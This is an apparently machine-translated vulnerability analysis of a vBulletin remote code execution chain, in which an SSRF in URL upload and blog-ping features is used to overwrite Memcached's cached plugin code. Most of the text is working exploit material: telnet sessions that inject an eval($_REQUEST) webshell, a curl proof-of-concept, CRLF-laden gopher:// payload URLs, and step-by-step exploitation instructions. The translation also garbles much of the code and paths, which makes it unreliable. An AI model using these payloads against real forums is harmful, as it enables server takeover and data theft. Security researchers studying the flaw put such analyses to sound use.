VBulletin rce 0day Analysis
VBulletin is a leading foreign Forum program, which is generally called VBB in China. It is developed based on PHP + mySQL. vBulletin is a commercial software and is paid.
VBulletin allows remote upload of files through URLs, but does not strictly filter URLs, resulting in SSRF vulnerability. In addition, many vBulletin websites install vBulletin's Memcached together with the WEB server. Combined with SSRF, the vulnerability becomes a command execution.
0x01 Vulnerability Analysis
First, let's talk about vBulletin's plugin (hook) execution method. vBulletin stores the plugin information (including Code) in the database and temporarily reads the code for execution from the database when the program is running, it can be interpreted as include 'ininname. php 'is changed to eval (getCodeFromDB ('ininname ')). When Memcache is enabled, vBulletin caches the plugin code in Memcached to increase the read speed.
We all know that Memcached access requires no password. In this way, if the Memcached access port is exposed to the public network, we will modify the plugin code of vBulletin in Memcached to malicious code, the consequences will be disastrous.
It is recommended on the vBulletin official website that Memcached should not be installed on the same server as vBulletin, but many webmasters still turn a blind eye to this, or simply solve the problem by setting the firewall to prohibit access to the Memcached port.
Unfortunately, vBulletin has the SSRF vulnerability. Attackers can use vulnerable files as proxies to initiate local requests to Memcached on the server.
Unauthorized access to Memcached
First, let's take a look at how unauthorized access to Memcached causes vBulletin command execution.
Through keyword search, find the statement vBulletinHook: set_pluginlist ($ vbulletin-> pluginlist), find the set_pluginlist declaration in the file./includes/class_hook.php, according to the comment:
// to call a hook:// require_once(DIR . '/includes/class_hook.php');// ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;
We know that the method of calling plugin is ($ hook = vBulletinHook: fetch_hook ('unique _ hook_name '))? Eval ($ hook): false; is used to obtain and execute the code of the plugin.
We choose the code that appears frequently global_start. The corresponding statement is ($ hook = vBulletinHook: fetch_hook ('Global _ start '))? Eval ($ hook): false;. This statement is in the./global. php file. Therefore, all pages that contain./global. php will contain our malicious code.
Next, visit the Memcached server to view the data of the pluginlist item.
$ Telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
Get pluginlist
... (Serialized array)
END
Quit
Data obtained from pluginlist will return the serialized pluginlist array. The related code is in./includes/class_hook.php class function build_datastore.
$plugins = $dbobject->query_read(" SELECT plugin.*, IF(product.productid IS NULL, 0, 1) AS foundproduct, IF(plugin.product = 'vbulletin', 1, product.active) AS productactive FROM " . TABLE_PREFIX . "plugin AS plugin LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product) WHERE plugin.active = 1 AND plugin." . "phpcode '' ORDER BY plugin.executionorder ASC");while ($plugin = $dbobject->fetch_array($plugins)){ if ($plugin['foundproduct'] AND !$plugin['productactive']) { continue; } else if (!empty($adminlocations["$plugin[hookname]"])) { $admincode["$plugin[hookname]"] .= "$plugin[phpcode]\r\n"; } else { $code["$plugin[hookname]"] .= "$plugin[phpcode]\r\n"; }}$dbobject->free_result($plugins); build_datastore('pluginlist', serialize($code), 1);build_datastore('pluginlistadmin', serialize($admincode), 1);
The code shows that the $ code array is in the format of $ code = array ('hookname' => 'phpcode'). We need to modify the pluginlist code in Memcached, we also need to put our code into the $ code array for serialization and then write it into Memcached.
$ Code = array ('Global _ start' => '@ eval ($ _ REQUEST [\ 'eval \']); ');
Echo serialize ($ code). "\ n". strlen (serialize ($ code ));
Output:
A: 1: {s: 12: "global_start"; s: 25: "@ eval ($ _ REQUEST ['eval']);" ;}// serialized data
59 // String Length
Next, modify the data of the pluginlist item to our pluginlist:
$ Telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
Set pluginlist 0 120 59
A: 1: {s: 12: "global_start"; s: 25: "@ eval ($ _ REQUEST ['eval']);";}
STORED
Quit
The command modifies the global_start code, so the pages that contain./global. php will contain our malicious code.
Access http: // 172.16.80.156/showthread. php? Eval = phpinfo (); we found that our code has been executed.
However, in most cases, Memcached does not allow Internet access. In this case, the following SSRF is used.
SSRF (Server-side Request Forgery, Server-side Request Forgery)
SSRF (Server-Side Request Forgery: Server-Side Request Forgery) is a security vulnerability that allows attackers to construct a Request initiated by the Server. Generally, SSRF attacks target internal systems that cannot be accessed from the Internet.
Via: http://wiki.wooyun.org/web:ssrf
(Note: before the test, delete pluginlist and delete pluginlist in the previous step.) the remote upload function of vBulletin is used in the vB_Upload _ * class and vB_vURL class. We use vB_Upload_Userpic as an example. In the file. /uplodes/class_upload.php class vB_Upload_Userpic-> the class function process_upload () calls the class function accept_upload (), and then the accept_upload () calls the upload () and the vB_vURL class, finally, to the exec () function in the vB_vURL_cURL class, the avatarurl variable passed in throughout the process is not filtered.
POC: http://seclists.org/fulldisclosure/2015/Aug/58 in the report document
$ Curl 'HTTP: // sandbox.example.com/vb42/profile.php? Do = updateprofilepic '-H' Cookie: bb_userid = 2;
Bb_password = 926944640049f505370a38250f22ae57 '-- data
'Do = updateprofilepic & securitytoken = 1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38 & avatarurl = http: // localhost: 11211/Shanghai'
To understand the report, Memcached will execute:
HEAD/
Set pluginlist 0 0 96
A: 1: {s: 12: "global_start"; s: 62: "if (isset ($ _ REQUEST ['eval']) {eval ($ _ REQUEST ['eval']); die ();}
";}
Quit
. Png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close
However, during the local test, the above EXP cannot be used. After packet capture analysis, % 0D % 0A in the link in our test failed to be converted to a line break. Test code :#! Php $ url = 'HTTP: // 172.16.80.158: 11211/% 0D % 0 Aset pluginlist 0 120 53% 0D % 0Aa: 1: {s: 12: "global_start"; s: 19: "eval ($ _ REQUEST1);" ;}% 0D % 0A1% 0D % 0A1% 0D % 0A1% 0D % 0Aquit '; $ curl = curl_init (); curl_setopt ($ curl, CURLOPT_URL, $ url); curl_setopt ($ curl, expires, true); curl_setopt ($ curl, CURLOPT_HEADER, false); $ str = curl_exec ($ curl ); curl_close ($ curl); var_dump ($ str );
Packet capture results:
After multiple tests and references, we found that EXP can be reproduced under the gopher protocol, but vB_Upload_Userpic only allows connections starting with (http | ftp) s.
Exploit:
Gopher: // localhost: 11211/1% 0 astats % 0 aquit
Dict: // locahost: 11211/stats
Ldap: // localhost: 11211/% 0 astats % 0 aquit
However, change the HTTP protocol to the Gopher protocol.
1
$ Url = 'gopher: // 172.16.80.158: 11211/% 0D % 0 Aset pluginlist 0 120 53% 0D % 0Aa: 1: {s: 12: "global_start"; s: 19: "eval ($ _ REQUEST [1]);" ;}% 0D % 0A1% 0D % 0A1% 0D % 0A1% 0D % 0Aquit ';
Packet capture results:
It can be seen that % 0D % 0A is converted to a line break. Next, we need an SSRF point that can be brought into gopher: //. After searching for the call to vB_vURL, it is located in the./blog_post.php donourl function send_ping_notification ().
The Declaration of the send_ping_notification () function is in./javasdes/blog_functions_post.php. The fetch_head_request () called by the function calls the vB_vURL class to initiate a request. The $ url variable is not filtered throughout the process. On the frontend, we can check the additional option in the blog post to notify other blogs linked in this article to call this variable.
0x02 vulnerability Exploitation
Register a user and log on.
Post a new article (http: // * host */blog_post.php? Do = newblog ).
Add the hyperlink gopher: // localhost: 11211/% 0D % 0 Aset pluginlist 0 120 53% 0D % 0Aa: 1: {s: 12: "global_start"; s: 19: "eval ($ _ REQUEST [1]);" ;}% 0D % 0A1% 0D % 0A1% 0D % 0A1% 0D % 0 Aquit.
In the additional options, select other blogs linked to the notification in this article.
Post-> select link-> submit.
Access http: // * host */showthread. php? 1 = phpinfo (); check whether execution is successful.